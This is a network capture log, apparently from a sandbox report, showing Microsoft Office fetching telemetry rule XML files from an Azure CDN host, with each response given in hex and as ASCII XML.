20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49784	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-17c5cb586f6g6g2sbe6edp75y400000003x0000000009k11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49785	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-16849878b7867ttgfbpnfxt44s00000001tg00000000aa96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:17 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49787	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-16849878b78tg5n42kspfr0x48000000021g000000003cx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:17 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49788	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 395ac5b3-901e-0083-7e6a-27bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-17c5cb586f6wmhkn5q6fu8c5ss00000001cg000000002fwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:17 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49789	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: f826faa8-301e-0099-1457-266683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-17c5cb586f6hhlf5mrwgq3erx80000000300000000006x3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49790	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 43d08777-c01e-0014-2856-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-17c5cb586f6g6g2sbe6edp75y40000000420000000003d28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:18 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49791	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:17 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:18 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 33c93406-d01e-0066-3d3d-26ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114518Z-15b8d89586fcvr6p5956n5d0rc00000007v000000000567y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:18 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49792	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:18 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114518Z-16849878b78xblwksrnkakc08w00000001b000000000006e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:18 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49794	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:19 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114519Z-16849878b78z2wx67pvzz63kdg00000000h00000000070h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49797	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:19 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114519Z-17c5cb586f65j4snyp1hqk5z2s00000003e00000000018v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49793	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:19 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114519Z-16849878b78wv88bk51myq5vxc0000000270000000009fze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49795	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:19 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114519Z-16849878b78q9m8bqvwuva4svc00000000hg000000001v0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
